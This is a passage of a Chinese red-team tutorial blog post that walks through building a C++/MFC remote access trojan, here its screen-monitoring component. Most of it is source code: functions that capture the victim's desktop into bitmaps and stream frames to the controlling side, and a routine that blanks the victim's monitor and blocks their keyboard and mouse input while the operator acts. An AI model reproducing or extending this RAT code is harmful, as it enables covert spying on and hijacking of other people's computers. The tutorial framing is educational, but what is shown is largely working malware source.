			SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 1, NULL, 0);
			SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
			bIsScreenBlanked = true;
		}
		else
		{
			if (bIsScreenBlanked)
			{
				SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 0, NULL, 0);
				SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1);
				bIsScreenBlanked = false;
			}
		}
		BlockInput(pThis->m_bIsBlockInput);

		// 分辨率大小改变了
		if (pThis->IsMetricsChange())
			pThis->ResetScreen(pThis->GetCurrentPixelBits());
	}

	BlockInput(false);
	return -1;
}

WorkThread

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控_c++_27


红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控_位图_28

DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)
{
	CScreenManager *pThis = (CScreenManager *)lparam;

	pThis->sendBITMAPINFO();
    // 发送bmp位图结构
	// 等控制端对话框打开

	pThis->WaitForDialogOpen();
    // 等待 主控回应

	pThis->sendFirstScreen(); //发送第一帧的数据
	try // 控制端强制关闭时会出错
    {
		while (pThis->m_bIsWorking)
			pThis->sendNextScreen(); //发送接下来的 数据
	}catch(...){};
// CScreenSpy 类
	return 0;
}





void CScreenManager::sendBITMAPINFO()
{
    //m_pScreenSpy 这个变量的 定义 就是 CScreenSpy类  .h CScreenSpy	*m_pScreenSpy;
    //得到  bmp 结构大小
	DWORD	dwBytesLength = 1 + m_pScreenSpy->getBISize();
	LPBYTE	lpBuffer = (LPBYTE)VirtualAlloc(NULL, dwBytesLength, MEM_COMMIT, PAGE_READWRITE);
	lpBuffer[0] = TOKEN_BITMAPINFO;
	memcpy(lpBuffer + 1, m_pScreenSpy->getBI(), dwBytesLength - 1);
	Send(lpBuffer, dwBytesLength);
	VirtualFree(lpBuffer, 0, MEM_RELEASE);	
}


UINT CScreenSpy::getBISize()
{
	int	color_num = m_biBitCount <= 8 ? 1 << m_biBitCount : 0;
	
	return sizeof(BITMAPINFOHEADER) + (color_num * sizeof(RGBQUAD));
}




LPBITMAPINFO CScreenSpy::getBI()
{
	return m_lpbmi_full;
}
//将位图结构 返回

CScreenSpy构造函数

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控_位图_29

CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate)
{
    //查看 桌面 所用的  像素位
	switch (biBitCount)
	{
	case 1:
	case 4:
	case 8:
	case 16:
	case 32:
		m_biBitCount = biBitCount;
		break;
	default:
		m_biBitCount = 8;
	}

    
    	if (!SelectInputWinStation())   // 得到 当前用户控制台 
	{
		m_hDeskTopWnd = GetDesktopWindow();  //得到桌面窗口
		m_hFullDC = GetDC(m_hDeskTopWnd);    //获取 DC
	}
    
    
    	m_dwBitBltRop	= SRCCOPY;

	m_bAlgorithm	= ALGORITHM_SCAN; // 默认使用隔行扫描算法
	m_dwLastCapture	= GetTickCount();
	m_nMaxFrameRate	= nMaxFrameRate;
	m_dwSleep		= 1000 / nMaxFrameRate;
	m_bIsGray		= bIsGray;
    m_nFullWidth	= ::GetSystemMetrics(SM_CXSCREEN);
    m_nFullHeight	= ::GetSystemMetrics(SM_CYSCREEN); //获取屏幕大小
    m_nIncSize		= 32 / m_biBitCount;
    
    
	m_nStartLine	= 0;

    //根据 设备DC  创建 内存 DC
	m_hFullMemDC	= ::CreateCompatibleDC(m_hFullDC);
	m_hDiffMemDC	= ::CreateCompatibleDC(m_hFullDC);
	m_hLineMemDC	= ::CreateCompatibleDC(NULL);
	m_hRectMemDC	= ::CreateCompatibleDC(NULL);
	m_lpvLineBits	= NULL;
	m_lpvFullBits	= NULL;
// .h  LPBITMAPINFO m_lpbmi_line, m_lpbmi_full, m_lpbmi_rect;
    
//位图的 信息结构  ConstructBI
	m_lpbmi_line	= ConstructBI(m_biBitCount, m_nFullWidth, 1);
	m_lpbmi_full	= ConstructBI(m_biBitCount, m_nFullWidth, m_nFullHeight);
	m_lpbmi_rect	= ConstructBI(m_biBitCount, m_nFullWidth, 1);
//根据设备 DC 位图结构  创建一个 BItmap 
	m_hLineBitmap	= ::CreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL);
	m_hFullBitmap	= ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL);
	m_hDiffBitmap	= ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvDiffBits, NULL, NULL);


// 用 设备的 DC 创建 位图 图像 结构  保存在这  中缓冲区内
// 保证 不用保存成文件 进行发送给 主控 为位图分配了  内存空间  
//  HBITMAP m_hLineBitmap, m_hFullBitmap;

	::SelectObject(m_hFullMemDC, m_hFullBitmap);
	::SelectObject(m_hLineMemDC, m_hLineBitmap);
	::SelectObject(m_hDiffMemDC, m_hDiffBitmap);
	// 将内存DC  与  BITMAP 联系起来
	::SetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight);
    
	// 足够了
	m_rectBuffer = new BYTE[m_lpbmi_full->bmiHeader.biSizeImage * 2];
	m_nDataSizePerLine = m_lpbmi_full->bmiHeader.biSizeImage / m_nFullHeight;

	m_rectBufferOffset = 0;
}

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控_bc_30

ConstructBI 函数定义

为了创建位图的 结构

LPBITMAPINFO CScreenSpy::ConstructBI(int biBitCount, int biWidth, int biHeight)
{
/*
biBitCount 为1 (黑白二色图) 、4 (16 色图) 、8 (256 色图) 时由颜色表项数指出颜色表大小
biBitCount 为16 (16 位色图) 、24 (真彩色图, 不支持) 、32 (32 位色图) 时没有颜色表
	*/
	int	color_num = biBitCount <= 8 ? 1 << biBitCount : 0;
	
	int nBISize = sizeof(BITMAPINFOHEADER) + (color_num * sizeof(RGBQUAD));
	BITMAPINFO	*lpbmi = (BITMAPINFO *) new BYTE[nBISize];
	
	BITMAPINFOHEADER	*lpbmih = &(lpbmi->bmiHeader);
	lpbmih->biSize = sizeof(BITMAPINFOHEADER);
	lpbmih->biWidth = biWidth;
	lpbmih->biHeight = biHeight;
	lpbmih->biPlanes = 1;
	lpbmih->biBitCount = biBitCount;
	lpbmih->biCompression = BI_RGB;
	lpbmih->biXPelsPerMeter = 0;
	lpbmih->biYPelsPerMeter = 0;
	lpbmih->biClrUsed = 0;
	lpbmih->biClrImportant = 0;
	lpbmih->biSizeImage = (((lpbmih->biWidth * lpbmih->biBitCount + 31) & ~31) >> 3) * lpbmih->biHeight;
	
	// 16位和以后的没有颜色表,直接返回
	if (biBitCount >= 16)
		return lpbmi;
	/*
	Windows 95和Windows 98:如果lpvBits参数为NULL并且GetDIBits成功地填充了BITMAPINFO结构,那么返回值为位图中总共的扫描线数。
	
    Windows NT:如果lpvBits参数为NULL并且GetDIBits成功地填充了BITMAPINFO结构,那么返回值为非0。如果函数执行失败,那么将返回0值。Windows NT:若想获得更多错误信息,请调用callGetLastError函数。
	*/

	HDC	hDC = GetDC(NULL);
	HBITMAP hBmp = CreateCompatibleBitmap(hDC, 1, 1); // 高宽不能为0
	GetDIBits(hDC, hBmp, 0, 0, NULL, lpbmi, DIB_RGB_COLORS);
	ReleaseDC(NULL, hDC);
	DeleteObject(hBmp);

	if (m_bIsGray)
	{
		for (int i = 0; i < color_num; i++)
		{
			int color = RGB2GRAY(lpbmi->bmiColors[i].rgbRed, lpbmi->bmiColors[i].rgbGreen, lpbmi->bmiColors[i].rgbBlue);
			lpbmi->bmiColors[i].rgbRed = lpbmi->bmiColors[i].rgbGreen = lpbmi->bmiColors[i].rgbBlue = color;
		}
	}

	return lpbmi;	
}

sendFirstScreen

7.5 服务端编写

ScreenManager.h和ScreenManager.cpp,我们自己再重新写一遍这个类,

ScreenSpy这个类完整的成熟的类

添加insert New class

添加CScreenManager这个类他的父类为CManager(注意他的文件位置) common下

7.6 主控端的编写

7.7 完善主控端

· 跟踪鼠标
· 色位调整

桌面管理并添加代码


【版权声明】本文内容来自摩杜云社区用户原创、第三方投稿、转载,内容版权归原作者所有。本网站的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@moduyun.com

  1. 分享:
最后一次编辑于 2023年11月14日 0

暂无评论

推荐阅读
N9D7V8EkcUNl